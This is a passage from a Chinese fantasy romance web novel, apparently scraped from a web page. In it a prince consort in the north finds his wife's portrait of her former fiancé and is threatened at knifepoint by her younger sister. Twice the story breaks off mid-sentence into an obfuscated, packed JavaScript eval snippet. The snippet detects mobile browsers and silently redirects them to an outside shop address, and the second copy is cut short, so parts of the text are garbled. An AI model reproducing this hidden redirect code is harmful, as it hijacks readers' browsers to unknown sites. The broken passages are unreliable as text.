利斯特自认为北境已经名存实亡,毫不客气地为了自己的情妇而公然羞辱英格丽时,克莱蒙梭爵士依然坚持将每年比武竞技大赛的鲜花王冠献给王后,维护她的尊严,是一位难得兼具实力和品性的优秀骑士。 “克莱蒙梭爵士武艺超群,确实给我留下了深刻的印象。”她说,“你也是如此,黎塞留爵士,以你的天赋,只要保持现在的勤奋努力,终有一天会成长为不逊色于你兄长的骑士。” 闻言,黎塞留腼腆地低下了头,轻声道:“您谬赞了……” 训练告一段落后,希瑟坐在校场边的木桩上,将剑身擦拭干净,又用剑油仔细保养了一遍,才将它插回剑鞘。 “对了,你的剑看起来好像也能单手使用,但一直没有看到你用盾。假如你需要定制一面新盾,我刚好认识一位很不错的木匠……”希瑟边说边抬起头,却发现黎塞留不知何时已经把上衣脱了,吓了她一跳。 对方连忙解释道:“抱歉,我实在太热了……我、我是说流汗的那种热……②” 希瑟见他浑身是汗,表示了理解:“激烈的战斗确实会让人热血沸腾,不过北境天气寒冷,你这样会感冒的。” “是,日后我会多加注意。” “另外,训练结束后可以去公共澡堂暖和一下身体。”说到这里,她忽然想起了一件事,“北境保留了许多纳维亚人的传统,所以对整洁十分重视。每周六都是固定的洗浴日,无论前一天你是否清洗过身体,周六都必须洗一次澡。” “是,大人。” 希瑟严肃地看着他:“这件事非常重要,黎塞留爵士。我知道南方人有用香水遮掩体味的习惯,但这在北境是绝对不行的。” 黎塞留的脸变得更红了:“请您放心,我平常也很注重卫生,绝对不会很长时间都不洗澡的!” 当他用衬衫擦汗的时候,希瑟打量着他的身体——紧实有形的肌肉证明了他平日的严格锻炼,他的肩膀比她见过的大部分南方男性都要宽阔,手也更大,这可能就是布雷泽家族容易出顶尖剑士的原因,但和典型的南方人一样,他的体毛要比北方男性稀疏得多…… 思绪至此,希瑟发现黎塞留已然被她看得满面红晕,他真是一个容易脸红的人:“噢……对不起……” “没、没关系!”黎塞留拘谨地双手握住剑鞘,眼神躲闪,看起来比她还要慌张,“您想怎么看都行,我已经是一个男子汉了……我是说,请别误以为我是那种性格忸怩的人……” “我理解。” 其实希瑟在军队中早就见惯了男人的身体,但联想到昨晚瑟洛里恩脱衣服时也表现得很拘谨,她本以为是他内心深处不愿与她同床共枕的缘故,不过现在看来,也可能是因为王都人在这方面比较保守,不喜欢被人注视身体。 难得提前离开一次也不会有什么影响,希瑟很快就找了个理由离开,好让黎塞留保有一点隐私。 甫一走进城堡东翼,她就看见书记官胡尼神色匆匆地走了过来。 “噢!谢天谢地,大人,我正要去校场找您呢。”见到她,对方如释重负地舒了口气,顺带擦了擦头上的冷汗。 希瑟知道她的书记官有点神经衰弱,时常会陷入焦虑,但这种程度的反应显然不合常理:“怎么回事?” “大公会议③的代表今日又来了。”他面露难色,“至于目的……想必您也知道,他们希望恢复神圣的……” “神圣的教团武装。”希瑟替他说完了,“而这是不可能的。我不在乎教会在王都享有怎样的权力,但是在北境,决不允许出现任何宗教武装势力。” “这是当然的,大人,可我只是一个人微言轻的书记官,并没有资格对格雷厄姆主教说不……”他唯唯诺诺道,“恐怕这一次也得您亲自出面才行。” “我明白。”她揉了揉太阳穴,“我需要先洗个澡,会面安排在半个小时后。” “是,大人。”胡尼回答,“对了,有一封来自王都的信。您是想现在就拆看,还是我先替您送到书房?” “直接给我吧。” 她本以为这是英格丽寄来的结婚贺函,接过信后却发现火漆上的图案是欧根家族的闪电雄鹰。 她感觉自己的心跳停了一拍。 “大人……您还好吗?”胡尼的语气中充满了不安。 希瑟沉默了片刻,低声道:“没什么。”她将信交还给他,“把它烧了吧。” 10. 第十章 距离婚礼已经过去了一周,瑟洛里恩逐渐习惯了和希瑟睡在一张床上。 在这期间,他一直暗中好奇这种情况会不会促使某个浪漫意外的发生。比如一觉醒来后,他们之中的一个发现自己在睡梦中无意识地抱住了另一个人…… 倒不是说他很期待这个,但这是非常合理的假设,考虑到北境气候寒冷,他们又睡在一张床上,而在内心深处,他们可能都有那么一点寂寞——再强调一次,他并没有期待这个,只是觉得这种事情偶尔发生几次是很正常的,而且也无伤大雅。 说到底,他们毕竟是夫妻,举办过正式的婚礼,并且在天父和他安排在人间的传声筒——咳咳,他是说主教面前发过誓,无论疾病还是健康,无论顺境还是逆境,他们都将是彼此忠诚的依靠,最坚实的保护者,以及……呃,后面他记不太清了,大概是几句老掉牙的牧师布道,他对这些废话一向是左耳进右耳出的。 总而言之,哪怕做一些更加亲密的事情,也没有人能责怪他们,更不用说这点肢体上的接触了,又不是说年轻男女偶尔在床上拥抱一下就会生出小婴儿什么的…… 然而事实证明,他们俩的睡相都很好,没有给命运留下多少发生意外的余地。 尤其是希瑟——瑟洛里恩曾经花费了半个晚上的时间,以治学般的严谨态度观察她睡着后的模样,最终确认了她那如临大敌般的睡姿是由始至终的,仿佛时刻准备给某个藏在角落里的不知名刺客一记迎头痛击。 等到了后半夜,瑟洛里恩感觉脖子又酸又痛,很想开口问一句“你真的打算这样一动不动到早上吗?”。 不过当时的他虽然很困,但还没有丧失最基本的求生本能,并不希望自己的人生止于妻子睡觉期间反射性的一拳,也不希望自己的脑袋像熟透的甜瓜一样炸开……所以他只是打了个哈欠,照旧暗自腹诽几句,随后便沉沉陷入了梦乡。 天色拂晓时,瑟洛里恩意识模糊地半醒了过来,发现希瑟正在穿衣服,她的身影在昏暗的光线中犹如古帝国时期的雕塑。 他下意识地翻了一下身,以便更好地看着她。另半边的床上还残留着她的体温和气味,瑟洛里恩闻到了皂角、皮革和某种微苦的草木,还有一点点金属的味道,可能是她经常穿锁子甲的缘故。 “抱歉,我好像又吵醒你了……” 其实这种情况不常发生。希瑟虽然体格高大,但很擅长在黑暗中无声地行动,除了他们同床之后的第一天,瑟洛里恩就基本没有被她惊醒过了,这仅仅是第二次。 “没关系,是我自己有点兴奋过度了。”他的声音愈来愈轻,渐渐变成了咕哝,“因为画室的事情……” 就在昨天,瑟洛里恩借由《动物皮毛处理图解》委婉地表达了自己对学习绘画的兴趣——很难想象他居然把这件事拖了那么久,明明他结婚后第二天就发现这本书了——希瑟欣然表示他可以自由使用城堡东翼的旧画室,那里是她过去练习绘画的地方。 瑟洛里恩本想趁胜追击,提出让希瑟当他的老师,却遭到了她的婉拒。 “我已经多年不曾执笔了,技艺退步了许多,也没有教导过别人画画。”当时的希瑟如此回答,“如果你需要的话,我可以找一位更加专业的老师来教你。” ……好吧,不圆满的胜利也是一种胜利。 瑟洛里恩揉了揉眼睛,梦游似地问道:“所以我什么时候可以用画室?” 闻言,希瑟低声笑了起来:“就这么期待吗?” 她刚起床时声音有点沙哑,又因为没有完全清醒,说起话来慢吞吞的,尾音微微拖长,给人以慵懒之感。 每次听到她这样说话,瑟洛里恩就莫名有种骨子里发痒的感觉。 “我想画室应该已经打扫好了,不过颜料还得晚几天才能到位。”希瑟补充道,“如果你想提前去那里看一看,我会让布琳迪丝女士今天就把画室的钥匙交给你。” 瑟洛里恩模糊地应了一声,眼皮愈发沉重。 “时间还早,睡吧……”他听见对方轻柔的低语,依然带着那种磨砂般的质感,像是有一根看不见的小指头在用尖尖的指甲刮擦他的胸口。 有那么一会儿,瑟洛里恩突然萌生出了某种毫无来由的好奇心,想知道假如他开口挽留,或者抓住她的袖子不放手,她是否会屈从于他任性的要求(就像那天晚上一样),然后回到床上继续和他一起睡觉。 可惜昏沉的睡意让他反应慢了半拍,而希瑟又走得太快,在他的意识彻底坠入黑暗前,隐约听见了卧室的房门发出咔嚓一声。 再次一觉醒来后,瑟洛里恩发现已经临近中午了,心里不禁有点懊悔。 因为某些迟来的危机感,他不得不在下午预留出一些时间,用于和黎塞留的剑术练习,防止他的肌肉线条变得更加暧昧不明(就像他和希瑟的关系一样)。 当然,这也意味着他能待在藏书馆的时间变少了。 瑟洛里恩曾经理想化地认为这一问题可以通过早起来弥补,但自从来到北境后,他就变得越来越懒散,整天只想坐在藏书馆里,一边看书一边喝热牛奶,不放黎塞留鸽子已经是他所能做到的极限了。 简单收拾好自己之后,他直接前往城堡大厅用餐,却出乎意料地在餐桌前见到了许久不曾露面的伊薇特。 以及……不出意外的,她正坐在原本属于他的位置上。 瑟洛里恩强迫自己挤出一个笑容:“好久不见,伊薇特小姐。” 对方也回以甜美的微笑,只可惜嗓音一如既往地嘶哑:“午安,瑟洛里恩殿下。” “不必那么客气,你可以直接称呼我的名字。” 瑟洛里恩正在等待她说出那句“那您也叫我伊薇特吧”,但女孩只是柔声答道(虽然她的“柔声”也没有特别柔):“我想还是算了,殿下。许多人都以为北境是一片荒蛮落后之地,其实我们是很注重礼节的。” “原来如此……”这恐怕是他来到北境后最煎熬的时刻了,“不过话说回来……伊薇特小姐,你似乎不小心坐到了我的位置上?” “是吗?”伊薇特回答,“您可能误会了什么,这里一直都是我的位置,五年来从未变过。” 呃……现在瑟洛里恩有点怀疑他先前的猜测了,也许对方压根没想过为他和希瑟制造什么独处的环境,只是她那段时间碰巧生病了。 无论如何,伊薇特毕竟是希瑟唯一的妹妹,他不想为了这点小事和她起争执,只好忍辱负重地去了主座左手边的位置。 入座后,瑟洛里恩在心里叹了口气。希瑟还没有来,他总不能放任气氛继续冷场,只好硬着头皮开口:“最近身体还好吗?” “我一切都好,殿下。” “总是待在卧室里会不会觉得闷?” 听到他的话,伊薇特古怪地瞧了他一眼:“事实上,我刚刚从南斯特城回来。” 瑟洛里恩不由得脸上一红——他对伊薇特一直有种不好的预感,只想离她越远越好,当然也不会关心她平常去哪儿了:“这样啊……玩得开心吗?” “南斯特是一个很不错的地方,但我此次出行是为了公务,恐怕没有多少心情欣赏当地的风景。”女孩的笑容甜蜜又无害,“许多不熟悉我的人时常因为我身体孱弱而有所误会,实际上我有不少工作要处理,并非那种整日待在城堡里什么也不做,理所当然享受他人供养的贵族。” ……喔噢,他可真是一点也不觉得被自己被影射了呢。 好在希瑟不久后就到了——在她踏入城堡大厅的一瞬间,瑟洛里恩几乎从她身上看到了万丈光芒,即便是天父显灵也不过如此了。 不仅是他,伊薇特似乎也暗暗松了口气,甜美的假笑中多了几分真情实意。 “实在抱歉,我来晚了一点。”希瑟快步入席,“希望你们没有等到饿肚子。” 瑟洛里恩正想回答,却被伊薇特抢先开口:“当然没有!”她双手托着脸,一副天真无邪的样子,“我离开了好几天,你有没有想我?” 他忍不住在心里翻白眼,就连希瑟也无奈地摇了摇头:“你已经是一个大人了,伊薇,不要总是想着撒娇。” 话虽如此,她却已经自然而然地拿起了刀叉,帮妹妹将盘子里的牛排切成小块——拜托,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054158|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小姑娘已经十五岁了,又不是五岁,而且她只是体弱多病,不是双臂残疾。如果她吃不动牛排,以后就随便给她喂点肉泥好了。 而这还只是一个开始。用餐期间,伊薇特一直在和希瑟说话,像是一只漂亮又烦人的喜鹊。希瑟的回应相对较少,但作为一个耐心的倾听者,她用温和的微笑和鼓励的眼神弥补了自己的不健谈。 瑟洛里恩不太熟悉凯洛家族的封臣,也不认识她们口中的那些老朋友,唯一能听懂的是伊薇特这次出远门是为了调查在南斯特流通的假银币。 所有假银币皆为铜币镀银,且造假技术相当高超,绝非是普通的私人工坊可以铸造出来的。伊薇特认为这种假银币在更偏北的区域可能会更加泛滥,并且一定有在铸币厂工作过的专业人士为幕后黑手服务。 瑟洛里恩对于假银币倒是有点了解——虽然说出来有点丢脸,但他曾经很认真地钻研过这方面的事情(直到他得知造假者会被判死刑)。大部分假银币都是铜芯或铅芯,然后利用汞合金的特性在其表面镀银。所以不光是铸币厂的专业人士,造假者一方应该还有专业的炼金术师。 但此时突然插嘴好像也很奇怪,考虑到他明面上是王室成员,又刚来北境不久,就这样堂而皇之地介入凯洛家族的内部事务会显得有点可疑……或许可以等到晚上回到卧室后,再和希瑟私下详谈。 “先到说这里吧。”可能是察觉到了他有点无聊,希瑟轻轻咳嗽一声,“是我不好,在享用美食的时候居然还谈论工作上的事情,未免太败胃口了……瑟洛里恩,今天的午餐还合你的口味吗?” “一如既往地出色。”他答道,“我很少吃甜味的肉,不过这道蜜汁鹌鹑确实很不错。” 希瑟点了点头:“那就好。伊薇特也很喜欢蜜汁鹌鹑,我相信你们会相处得很好的。” 亲爱的,其实你不用说后面那句话的…… 唯一使他感到安慰的是伊薇特脸上陡然僵住的微笑,很高兴知道现场不只他一个人感到难受。 不过除了锻炼肌肉,现在他又多出了一件需要操心的事情……不知道他要熬几年才能等到这位小姨子嫁出去的那天。 好不容易结束了煎熬的午餐,瑟洛里恩感觉心力交瘁,估计下午多半是没精力看书了,于是决定先去打扫好的画室看一看。 令人惊喜的是,画室里还保留着许多希瑟往日的作品,绝大多数都是动植物,并且在旁边备注了地名,应该是外出采风时的写生。 除此之外,瑟洛里恩还发现墙壁上砖块的氧化程度存在差异,由此可以推断墙上曾经挂着一幅画,根据画幅的尺寸,大概率是凯洛家族的全家福。 前公爵夫妇早已去世,在希瑟剩下的兄弟姐妹里,长姐英格丽远嫁王都,兄长西格德命丧毒龙劫,唯一的小妹妹孱弱多病……瑟洛里恩倒是能理解希瑟决定撤下全家福时的心情,越是目睹过去的幸福,就越是能感受到幸福消逝后的空虚,除了徒增伤感之外毫无意义。 随后,他又找到了一册速写本,上面全部是希瑟用炭条画的人物速写。 瑟洛里恩从中认出了少女时期的英格丽王后,威严的中年男子应该是前公爵拉格纳,笑容灿烂的美丽女性无疑是前公爵夫人爱丽诺尔,那么她怀中的孩子自然是伊薇特。此外,还有一位他不认识的英俊少年,但是通过盾牌上的碧眼红牛纹章,可以推测出是希瑟的兄长西格德。 看得出西格德和伊薇特都遗传了母亲的美貌,英格丽和希瑟则更像父亲。 他将速写本放了回去,继续探寻画室里还有什么有趣的东西。不知过了多久,瑟洛里恩突然发现角落里似乎有什么东西被盖在厚重的灰色油布下。 他走过去掀开油布,一幅油画映入眼帘,而且是一幅完成度极高的肖像画。 画中的男孩有着白皙的皮肤,柔顺的棕色长发和青色的眼睛,正在静静地朝他微笑,仿佛远古神话中会对着自己的倒影倾慕自怜的美少年。 奇怪的是,这幅画明明已经被镶在画框里了,却没有挂在墙上。 画框的下缘还刻着一行小字:献给塞德里茨·欧根。 11. 第十一章 再次被黎塞留用一只手打败后,瑟洛里恩已经懒得去捡被他挑飞的木剑了……往好处想,至少这一次他在黎塞留手下走了十招,尽管这极有可能是对方顾及到他的颜面而有意收敛的结果。 “看来今天就到此为止了。”黎塞留将木剑收回腰侧,“您今天有点不在状态,殿下。” “说得好像我再认真点就能打败你一样……” 瑟洛里恩缓慢地做了一个深呼吸,平复急促的心跳。若是以往,他早就已经大脑放空,没有精力去想任何事情了……如果没有看到那幅肖像画的话。 “话说,黎塞留……”他用唾沫滋润了一下干涩的喉咙,“你知道塞德里茨·欧根吗?” “当然。”黎塞留罕见地挑起了眉毛——他很少做这个表情。很显然,把自己眉毛附近的肌肉上提四分之一英寸对于性格谦逊的他而言太过骄傲了,“欧根公爵不仅是王室远亲,还是国王的御前会议大臣,塞德里茨少主更是他唯一的儿子,您居然不知道他吗?” “所以他和希瑟没什么关系?” “不,他曾是希瑟大人的未婚夫。” 闻言,瑟洛里恩静默了几秒,感觉胸口有股发泄不出的恼火:“你难道不觉得这件事对我来说比什么‘王室远亲’、‘御前会议大臣’和‘公爵独子’重要得多吗?” “是吗?可那已经是四年前的事情了。”黎塞留看起来有点不明所以,“何况,贵族之间出于利益上的需求而结合的情况并不罕见,男女双方可能直到结婚前夕才第一次见面,就像……咳,就像您和公爵大人一样。” 哈,结婚前夕才第一次见面,那谁来解释那幅肖像画的存在呢…… “他长得怎么样?”考虑到黎塞留迟钝的思维能力,他又补充了一句,“我是说塞德里茨·欧根。” “塞德里茨少主吗?他非常英俊。” 这倒是不值得意外,除非希瑟在作画时进行了太多美化,否则画中的男孩长大成人后多半会是一名美男子。 “此外,塞德里茨少主的风评也相当不错。”黎塞留继续道,“他近几年一直以自由骑士的身份四处游历,留下了不少帮助平民的英勇事迹,在外颇有美名。虽然他当年要求与希瑟大人解除婚约令她名誉受损的行为,使我实在无法对他抱以尊敬,但除却此事,他在品行上确实没有其他可被指摘的地方。” 他重重地叹了口气:“谢谢你及时告诉我塞德里茨·欧根是一个多么好的男人,黎塞留。” “您客气了。” 啧,他敢保证对方一定把他的阴阳怪气当成了真情实意的感谢。 瑟洛里恩的心跳逐渐恢复了正常,切磋时沸腾的血液也已经冷却,伴随着北境秋冬的寒风拂过皮肤,他打了个颤,心中久违地感到了一丝不安。 假设希瑟和塞德里茨年纪相近,那么按照画像中塞德里茨的年龄,他们应该很早就认识了,甚至有可能是两小无猜的朋友。 起初他也和黎塞留一样,以为他们只是利益上的联姻,虽然早就有一纸婚约,但直到四年前才第一次见到彼此,所以男方才会大失所望地要求解除婚约……然而,希瑟和塞德里茨实际上的感情可能比他想象中复杂得多。 从黎塞留的描述来看,塞德里茨·欧根绝非什么私德败坏的纨绔子弟,而以希瑟的性格,应该也不会迷恋一个空有皮囊的花花公子。假设塞德里茨是一个值得希瑟投入感情的男人,那么他们解除婚约的理由就不免扑朔迷离起来了…… 最后,瑟洛里恩心情复杂地问道:“所以那个塞德里茨……他现在结婚了吗?” “据我所知没有。” “订婚呢?” “也没有,殿下。” 他的心彻底沉了下去。 告别黎塞留之后,瑟洛里恩心乱如麻地回到卧室。此时已经临近中午,但他实在没有胃口吃东西,也没有精力去应付与他话不投机的伊薇特,于是托仆从转告希瑟午餐不用等他,随后瘫倒在床上,打算小睡片刻。 可惜事与愿违……他的身体很疲惫,精神上却很不安宁。 瑟洛里恩在床上半睡半醒地躺了几个小时,意识浑浑噩噩,但始终没有真正睡着,只觉得脑袋又昏又涨,一股无来由的空虚感在胸口蔓延。 好吧,他猜自己大概率是睡不着了,但起来后也没什么事情好做(得承认伊薇特的讽刺也不是毫无道理的),只能继续躺在床上,对着上方的床帏发呆。 他不知道自己为何会对这件事如此在意——说白了,塞德里茨·欧根远在千里之外,而按照黎塞留的说法,他是欧根公爵的独生子,注定要继承父亲的爵位,此生绝大多数时间都必须待在南方,他们几乎没可能再见面了。 讽刺的是,他们之间的过去跟他又有什么关系呢?“瑟洛里恩·法比亚”不过是国王送给北境公爵的礼物,存在的唯一意义就是取悦他的妻子,缓和凯洛家族与王室紧张的关系。至于希瑟心里究竟是不是还有别人,根本不是他有资格去计较的事情。 不知过了多久,他的胃袋因为饥饿而痉挛,喉咙深处隐约能尝到胆汁的苦涩。 瑟洛里恩本能地将身体蜷缩起来,在脆弱感袭来的同时,他也对自己感到恼怒——大抵是北境的生活过得太顺遂了,让他几乎忘记了自己的身份。假如塞德里茨·欧根知晓了他这段时间以来的想法,多半会觉得很可笑吧? 说到底,他不过是收到了一条缎带,得到了一两句称赞,居然就敢自以为是什么特别的人……然而真正特别的人拥有一幅属于自己的肖像画,即便放在角落里尘封多年,终究不曾被它的主人舍弃。 他侧过身,静静看着窗外的天色从奶油般的柔白变成朦胧的昏黄,最后褪为静谧的暗紫色,稀疏的霞光漂浮在天幕中,犹如夕阳下海浪冲刷边岸时留下的浮沫。 良久,他听见卧室的门锁发出咔嚓一声——只有一个人能这样不经询问就走入领主的房间。 “瑟洛里恩,你还好吗?”希瑟的声音从背后响起,“简妮告诉我,你没有让仆人把午餐送到房间里。没有胃口吗?还是身体不舒服?” 他的声音被掩盖在被单下,听起来闷闷的:“我挺好的。” 然而,当希瑟将手放在他的额头上感受体温时——有那么一会儿,他忽然感觉自己很孤独,希望她的手永远停留在那里,永远都不会离开——但那可笑的想法只是一闪而过,取而代之的是一种更加深沉的自我厌恶。 她什么也没有许诺你,她对你好只是因为她是一个好人,而你却因为这点随手施舍的善意妄想让她成为你一辈子的依靠,瑟洛里恩,你真是一条下贱的狗。 “应该没有发烧。”希瑟似乎松了一口气,“但你出了不少汗,我会让他们准备好热水,让你泡一个澡。” 你没必要对我这么好,反正我根本不值得……瑟洛里恩很想这么说,但又没有勇气开口,只能含糊地应了一声。他知道自己承受不了被希瑟漠视的代价,自尊心这种东西对他而言太过昂贵了。 女仆进屋又离开,房间里短暂地陷入了寂静。 希瑟忽然开口:“如果是因为伊薇特,我代她向你表示抱歉。” 瑟洛里恩有点不明所以,随即才意识到她好像误会了什么。 从时间点上来说的确有点凑巧,伊薇特的存在也确实令他感到苦恼……不过相比塞德里茨·欧根,就连伊薇特那张甜美(且虚假)的笑脸都显得可爱起来了。 “虽然伊薇有时会表现得不太好相处,但在内心深处,她其实是一个善良的女孩。” “当然……”瑟洛里恩表面应和,心里却翻了个白眼。希瑟或许是北境英明的领导者,但在关于妹妹的事情上,她可能比瞎子还要盲目。 不知是因为词穷,还是别的什么原因,希瑟再次陷入了沉默——比上一次更加漫长。 “关于她的性格……是有原因的。”她叹息一声,空气中似乎多了一丝哀愁,“一切都要从五年前开始说起。” 瑟洛里恩过了几秒才意识到“五年前”这个时间点究竟意味着什么。 “毒龙劫发生后不久,西格德就在前线牺牲了。”希瑟继续道,“我的父亲拉格纳必须留在北境指挥军队,只能将前往王都请求国王派兵支援的重任托付与我,可是……在我南下后不到半个月,毒龙便抵达了埃达城。” “父亲率领军队竭力抵抗,但也只是勉强拖延了两天,最后他被毒龙吞入腹中,尸骨无存……父亲死后,埃达城不出半日就彻底沦陷,昔日坚不可摧的白盔堡在龙焰中燃烧……” 说到这里时,希瑟的呼吸不受控制地沉重起来,在瑟洛里恩反应过来之前,他的身体已经先一步替他做出了决定,擅自握住了希瑟的手。 “我……”他脸上微红,“你、你还好吗?” 说完后,瑟洛里恩更加窘迫了,刚才他基本就是把希瑟进门时对他说过的话重复了一遍。 “没关系,这些都是很久以前的事了,我只是……需要一点时间去回忆。”希瑟勉强露出了一个微笑,“通常来说,假如一座城市遭到外敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她忽然噤声,艰难地将那些关于死亡的不祥字眼咽了回去:“……凶多吉少。” 瑟洛里恩不知该如何安慰她,只能紧紧握着她的手。 “那孩子虽然挣扎着活了下来,却留下了严重的后遗症……当时她才十岁啊。”希瑟闭上了眼睛,“她的嗓子就是在那个时候被毁掉的。” ……所以那是永久性的? 他之前还以为伊薇特的嗓音是感冒发烧后尚未痊愈的结果,心里一时间多了几分内疚。 “自那之后,伊薇就变得敏感多疑,甚至……”希瑟叹了口气,“也许我应该更诚实一点,那孩子的性格里有着偏激的一面,要取得她的信任并非易事,那需要漫长的时间和努力……即使作为她的姐姐,我也必须承认她不是一个好相处的孩子。当然,我也不认为你该为此而迁就她,只是想让你知道,她并没有刻意针对你……” 瑟洛里恩重重地咳嗽了两声。 希瑟顿了一下——他并没有抬头,但是能够想象此刻她脸上尴尬的表情:“好吧,可能确实有一点针对你,主要是我的缘故……但客观而言,她对大多数人都是如此,这是她性格上的缺陷,而这种缺陷……是有原因的。” 他咕哝道:“所以你希望我平常能让一让她?” “当然不是。正如之前所说,我并不认为你需要为此迁就她。”她语重心长道,“何况,我们都不是孩子了,理应知道这个世界上不只有爱与恨……比起‘亲密的家人’,或许‘面熟的邻居’会是一个更好的开始。” 他忍不住把脸埋进枕头里:“如果我是她的邻居,我就天天在她睡午觉的时候大声弹鲁特琴。” 希瑟轻轻笑了起来:“我都不知道你会弹鲁特琴。” “我以前有想过当吟游诗人。”这是他童年时期排名第三的职业梦想,前两名分别是千星城学士和假银币贩子。 这一次,她的笑声更加清晰了——瑟洛里恩在心里可耻地为自己能让她这样轻松地笑出声而高兴了一小会儿,仿佛那是某种荣耀一样。 塞德里茨·欧根的阴影仿佛暂时性地离去了……不管怎么说,他都是过去式了,而且与北境相隔千山万水,时间总会冲淡一切的。 “我想他们应该差不多把水烧好了。”希瑟说,“先去洗澡吧,厨房的炉火还没有熄,我会让他们把食物送到房间里的。” 有时瑟洛里恩会觉得他的妻子很矛盾,一边说着“我们都不是孩子了”,一边又总是把身边的人当成孩子对待……虽然这种感觉不坏就是了。 他乖乖地点了点头,后知后觉地感觉后脑勺有点疼……噢,他躺下的时候忘记解开缎带了,睡觉时它一直硌着他,长头发就是这样不方便…… 瑟洛里恩忽地怔住了。 好一会儿过去,他低下头,恍惚地看着手中刚刚解下的墨绿色缎带,莫名想起了那个男孩蓝绿色的眼睛,想起了他棕色的长发,想起了阿利斯特那张令人不快的脸,还有他的第一道命令:“把你的头发再留长一点!” 12. 第十二章 清晨,当瑟洛里恩在城堡的走廊里瞥见某个娇小的金色倩影时,不得不开始怀疑自己来到北境之后的好运已经彻底用完了。 他这几天已经过得足够糟糕了,才不想给自己的人生火上浇油,最好趁对方还没发现他……好吧,她笔直地向他走来了,不幸的一天从早晨开始。 “瑟洛里恩殿下。”伊薇特并未像往常一样戴着微笑的假面,而是神情微妙地打量着他,“您今天披散着头发呢。” “这是因为……”真相是,他一想到那条缎带最初可能是给塞德里茨准备的礼物就忍不住反胃,但这种理由又不可能对伊薇特坦诚相告,只好含糊其辞道,“突然想换一下心情……” 闻言,伊薇特脸上露出了某种古怪的表情——很难用言语去形容这个表情,但有那么一瞬间,瑟洛里恩莫名感觉她似乎看透了自己的心事,就好像她知道他今天没有系缎带的真正原因。 然而这是不可能的。伊薇特在某些方面或许很有才能(她确实很擅长让别人如鲠在喉),但她又不会读心术,不可能知道他的心中所想。 好在伊薇特也没有揪着这个话题不放,自然而然地另起话头:“如果您接下来没有什么急事的话,不妨和我一同散散步?” 尽管她的语气完全称得上和善,瑟洛里恩的本能还是嗅到了一丝不妙的味道——话虽如此,这还是对方第一次主动邀请他同行,也许他能借此机会缓和他们之间尴尬的关系…… 最终,瑟洛里恩只能硬着头皮应道:“当然,这是我的荣幸。” 离开主堡之后,他们在后花园蜿蜒的小径上走了一会儿。瑟洛里恩基本只是在跟随伊薇特的步伐,完全不知道他们究竟要去哪里。他平日的活动范围有限,不太熟悉白盔堡的整体布局,埃达城前天晚上又下了一场大雪,此刻目光所及之处皆为皑皑白雪,他一时间竟有些辨别不清方向。 不知走了多久,一阵令人不寒而栗的恸哭声突然钻进了他的耳朵——瑟洛里恩抬起头,望见远处半截的焦塔,才意识到他们来到了白盔堡西北角的嚎哭塔。 嚎哭塔前方就是凯洛家族的墓园,因此路边种满了梣树。不知是季节的缘故,还是当年龙焰燃烧时污染了土壤,这些树木看起来都很萎靡,绿叶上泛着紫黑色,树枝好似枯萎般地蜷曲着,犹如将死之人的手指。四周的空气似乎也变得越来越冰冷,越来越沉重,让人喘不上气。 哈……此时此刻他身边唯一的同伴是个手无缚鸡之力的小姑娘,真是太有安全感了。 就在他心慌意乱之际,伊薇特莫名停下了脚步,低声道:“殿下,您与家姐已经结婚将近半个月了。”她如渡鸦般嘶哑的声音与嚎哭塔凄厉的呼啸近乎完美地融合在一起,“当然,我承认有些问题直到现在才问确实已经晚了……” 话音未落,瑟洛里恩忽然感觉膝盖一痛——伊薇特猛然对他的右腿用力一踢,不同于柔弱的外表,此刻她迅猛得像是一只野猫。 一切都发生得太快了!他不受控制地屈下膝盖,差一点摔倒在地。下一秒,伊薇特就紧紧扯住了他的头发,将他的脑袋往上拽。 “告诉我!”她冲他咆哮着,声音听起来就像是怪诞故事里的沼泽巫婆,“你上过其他女人没有?” 瑟洛里恩差点一口气没喘上来:“什么?!” “快点说!”伊薇特厉声道,“别妄想能蒙骗我,告诉我实话!” “没有!”他感觉自己的头皮都快被她扯下来了,还有——天呐,抵在他脖子上的那把小刀,她什么时候拿着它的? “你以为我会轻易相信吗?你他妈都十八岁了!”伊薇特的刀刃紧贴着他的皮肤,一阵冰冷的刺痛蔓延开来,“向你们的天父发誓你还是纯洁之身!” “我发誓……”即便是性命攸关的情况下,被迫向别人坦诚这种事情还是让他脸颊发烫,“我还是……处子……” 伊薇特冷哼一声,终于松开了他的头发:“最好是这样,我姐姐可不会屈就其他女人用剩的货色。” 随着小刀的威胁离他远去,瑟洛里恩才勉强找回了一点呼吸的节奏。他惊魂未定地站起来,连续做了好几个深呼吸,直至他的心跳声不再急促到仿佛随时要从嗓子眼里跳出来。 发根被撕扯的疼痛依然残留在头皮上,他小心翼翼地摸了摸脖子上的划伤,伤口很浅,但已经渗出了血珠:“你的脑子到底有什么问题?!” 伊薇特对他的怒火无动于衷,只是平静地将小刀收回袖子里。 瑟洛里恩火冒三丈,但他很难不注意到对方在这件事情上所展现的娴熟:“你……不会平常也随身带着小刀吧?” 伊薇特瞧了他一眼,不以为然地回答:“是又怎么样?” 听见她如此理直气壮,瑟洛里恩一时有些哑然:“真是个疯丫头……” “我不在乎你怎么看待我。” “我也不指望你在乎。”他疲惫地叹了口气,“只要你以后别来找我麻烦就行了。” 瑟洛里恩弯腰揉了揉刚刚被伊薇特踢中的地方,按压时依然能感受到轻微的疼痛……啧,一定留下淤青了。 “真亏你还能表现得那么轻松自在。”他试探道,“难道你不怕我把这件事告诉希瑟?” 伊薇特冷笑一声:“难道你以为我是无备而来?这里寂静无人,除了树上的乌鸦,还有谁能为你作证?而我只要抠一下嗓子就能吐出血来,等到了姐姐面前,究竟是谁告谁的状还不一定呢。” 